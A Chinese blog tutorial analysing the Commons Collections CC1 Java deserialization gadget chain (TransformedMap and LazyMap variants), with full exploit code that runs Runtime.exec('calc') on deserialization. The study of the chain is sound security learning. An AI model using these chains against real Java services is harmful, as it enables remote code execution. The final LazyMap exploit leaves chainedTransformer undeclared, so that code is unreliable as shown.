Featured image of post CC1链

CC1链

CC1链

环境搭建

jdk8u65下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html,但是要登入,而且载的慢

用https://blog.lupf.cn/articles/2022/02/19/1645283454543.html下载

新版IDEA这样创建

image-20250723154144912

然后导入maven依赖

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

因为默认下载的jdk是没有sun包的,sun包里面是编译后的class文件,我们想要调试需要java文件

下载openjdk8u65:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载zip解压,然后回到前下jdk8u65安装的目录,下面有个src.zip

然后把前下解压的sun目录(src\share\classes)拷到解压后的src目录里面,最后在IDEA界面里面添加src路径(项目结构->SDK->源路径)

image-20250723164456217

这样就能把class文件转成java文件了

TransformMap版CC1攻击链分析

先看入口点Transformer接口的tranform方法

1
2
3
public interface Transformer {
    public Object transform(Object input);
}

IDEA有个快捷键ctrl+alt+B可以查看实现接口的类

image-20250723193833194

先来随便看几个

NOPTransformer类,上面注释也说了,这个类什么也没做

1
2
3
public Object transform(Object input) {
        return input;
    }

传入一个对象,返回一个对象

ConstantTransformer类,上面注释说始终返回同一个常量

1
2
3
4
5
6
7
8
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return iConstant;
    }

ChainedTransformer类,看名字就知道是链式调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

循环把数组中前一个元素运行的输出作为后一个元素的输入,应该是类似迭代

重点是InvokerTransformer

InvokerTransformer类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

这些参数都是可控的,transform方法里面利用反射,能够实现任意方法调用,所以它作为我们的终点

先回顾之前用Runtime类反射弹计算器的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package com.cc1test;

import org.apache.commons.collections.Transformer;

import java.lang.reflect.Method;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Method exec = Runtime.class.getDeclaredMethod("exec", String.class);
        exec.setAccessible(true);
        exec.invoke(runtime, "calc");
    }

}

利用InvokerTransformer来弹计算器,观察参数,方法名,参数类型,参数值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package com.cc1test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        exec.transform(r);
    }
}

寻找链子

现在就是找谁调用了transform方法,对着InvokerTransformer里面的transform方法右键查找用法

但是默认是项目文件,我们ctrl+alt+shift+F7查看项目和库里面所有的调用

image-20250724152717786

这里找到两个map类,这里就有两个CC1链了,一个TransformedMap类引起的,一个就是yso里面说的LazyMap类,两个本质是一样的

我们先跟TransformedMap

首先在这个checkSetValue方法里面调用了transform方法

1
2
3
protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

查找valueTransformer

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

然后看哪里调用了TransformedMap

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

找到这个decorate静态方法,已经跟到尽头了

利用这个写个简单的poc,这个方法首先需要一个map,由于我们最终调用的其实是valueTransformer,所以这个key直接为null就行了 ,然后valueTransformer直接填前下创建的InvokerTransformer,这样当他调用transform方法的时候就会触发命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package com.cc1test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map,null,exec);
    }

}

但是checkSetValue方法是有参的,我们要找到怎么控制这个参数value,我们找找哪里调用了checkSetValue

发现只有一处

找到在AbstractInputCheckedMapDecorator类下面的setValue方法调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

}

这里的MapEntry其实就是map的键值对的意思,在Map类里面

1
V setValue(V value);

所以我们只需要实现遍历键值对,就能调用setValue方法

这里的MapEntry基础了AbstractMapEntryDecorator,同时重写了setValue方法,所以我们只需要正常对map进行遍历,然后触发setValue方法,最终就能实现调用checkSetValue方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.cc1test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, exec);
        for(Map.Entry<Object,Object> entry : transformedmap.entrySet()){
            entry.setValue(r);
        }
    }

}

实际上上面这些代码就是在是实现前下InvokerTransformer类的那个transform方法,这里还没完,因为我们最终想要找的入口是readObject这种常见的方法,我们目前想要的就是有没有一个类的readObject方法调用了setValue方法,或者对map.entry进行遍历的操作(其实也是为了调用setValue方法),而且参数可控

还是老方法右键查看用法

然后真的找到了,有点怀疑是java工程师留的后门(

image-20250724181927570

AnnotationInvocationHandler类的readObject方法里面确实存在setValue方法

这个类不是public类型,没有声明类型就是default类型,也就是只能在本包调用,我们想在外部调用得用反射

然后我们查看这个类的构造器

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

memberValues可控,第一个Class类型是继承了Annotation,也就是我们要传入一个注解类的class(Target,Override这种),map类型我们可以用刚才的TransformedMap

接下来就是反射获取这个对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.cc1test;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, exec);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor =  c.getDeclaredConstructor(Class.class,Map.class);
        annotationconstructor.setAccessible(true);
        annotationconstructor.newInstance(Override.class,transformedmap);

    }

}

接下来就是正常的序列化,反序列化触发,然后弹计算器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.cc1test;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, exec);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor =  c.getDeclaredConstructor(Class.class,Map.class);
        annotationconstructor.setAccessible(true);
        Object o = annotationconstructor.newInstance(Override.class, transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }

    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

但是走到这里还没有完全结束,这里其实存在一些问题,就像现在运行代码并不会弹出计算器

解决问题

Runtime 不能序列化

先解决Runtime类不能序列化的问题,因为我们前面的Runtime类是自己引入的,而它没有继承Serializable接口,也就不能序列化

我们可以通过反射来获得原型类

1
Class c = Runtime.class;

image-20250724215654529

Class类这里是继承了Serializable接口,然后正常反射来调用是这样的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class Test01 {
    public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
        Method runtimeMethod = c.getMethod("getRuntime", null);
        runtimeMethod.setAccessible(true);
        Runtime r = (Runtime) runtimeMethod.invoke(null, null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.setAccessible(true);
        execMethod.invoke(r,"calc");

    }
}

接着,我们将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
        Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Method runtimeMethod = c.getMethod("getRuntime", null);
//        runtimeMethod.setAccessible(true);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(runtimeMethod);
//        Runtime r = (Runtime) runtimeMethod.invoke(null, null);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.setAccessible(true);
//        execMethod.invoke(r,"calc");

    }

这里可以看到,后一个的transform方法里面的参数都是前一个的对象

这样一个一个嵌套很麻烦,想到前面看到的类:ChainedTransformer类,刚好满足我们的需求

所以这里我们用ChainedTransformer来满足我们的需求,前面看到他的构造器是需要一个Transformer数组

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }

这样算是解决了Runtime类不能反序列化的问题

执行setValue的前置条件

跟进前下的readObject方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

这里其实有两个if判断,在第一个if下断点调试

image-20250724230234405

可以看到我们的memberType直接就为null,直接结束

一路查看上去,发现这个memberType其实是来源于那个注解类的

image-20250724230517750

而我们的Override

image-20250724230623904

成员变量是空的,所以得换成有成员变量的Target或者Retention,如果我们只更改前面的注解类的话

1
Object o = annotationconstructor.newInstance(Target.class, transformedmap);

image-20250724230935756

你会发现还是null,这是因为if判断的前一步,它在尝试获取注解类的key,但是实际上Target并没有key这个参数,所以还是返回null

image-20250724231152932

Target注解里面只有这个value,所以我们把前面map的键名改为value,键值无所谓

1
map.put("value","hajimi");

image-20250724231423159

这次就不为null了,然后步过到setValue,我们步入看看

步入到checkSetValue了,但是呢这个参数我们不可控

image-20250724231950182

原先我们想法是控制value值为Runtime.class就能继续用ChainedTransformer来调用命令执行,但是这里的value值被固定死为AnnotationTypeMismatchExceptionProxy

这里我们回想到前面的ConstantTransformer类,无论传什么都会返回固定的对象,而且这个对象可控,直接就解决了,我们把它加到前下的ChainedTransformer里面

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

然后就成功了

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.cc1test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","hajimi");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor =  c.getDeclaredConstructor(Class.class,Map.class);
        annotationconstructor.setAccessible(true);
        Object o = annotationconstructor.newInstance(Target.class, transformedmap);
        serialize(o);
        unserialize("ser.bin");
    }

    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

ysoserial上的LazyMap版CC1链分析

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

可以看到就LazyMap这里不一样,我们跟到这里看看

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

同样是transform方法,我们上面是用checkSetValue的transform来实现的,

跟着yso链往上找,AnnotationInvocationHandler类里面的invoke方法调用了get方法

image-20250725123604968

同时,这个类有我们前面利用到的readObject方法

想要触发invoke方法,想到JDK动态代理,我们要找到一个动态代理类,然后重写invoke方法就行了

看到invoke方法这里

1
2
3
public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

是一个动态代理,我们把Annotationinvocationhandler用proxy包裹,再包裹进Map数组,就可以调用invoke方法

先跟据前面的exp改进

首先这里LazyMap也有decorate方法

1
2
3
public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

原先的代码是

1
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

TransformedMapdecorate方法要三个参数,我们这里LazyMap只需要两个

1
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);

接下来生成代理类

1
2
3
        InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Target.class, lazymap);
        Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
//        Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);

由于生成代理的proxymap对象不能被直接反序列化,我们需要把它包裹在一个新的能被反序列化的对象里面

可以新建一个Object对象

1
Object o = annotationconstructor.newInstance(Target.class,proxymap);

也可以复用前面的handler

1
handler = (InvocationHandler) annotationconstructor.newInstance(Target.class, proxymap);

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.cc1test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Test01 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","hajimi");
        Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor =  c.getDeclaredConstructor(Class.class,Map.class);
        annotationconstructor.setAccessible(true);
        //生成动态代理
        InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Target.class, lazymap);
        Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
//        Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
        Object o = annotationconstructor.newInstance(Target.class,proxymap);

        serialize(o);
        unserialize("ser.bin");
    }

    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}
使用 Hugo 构建
主题 StackJimmy 设计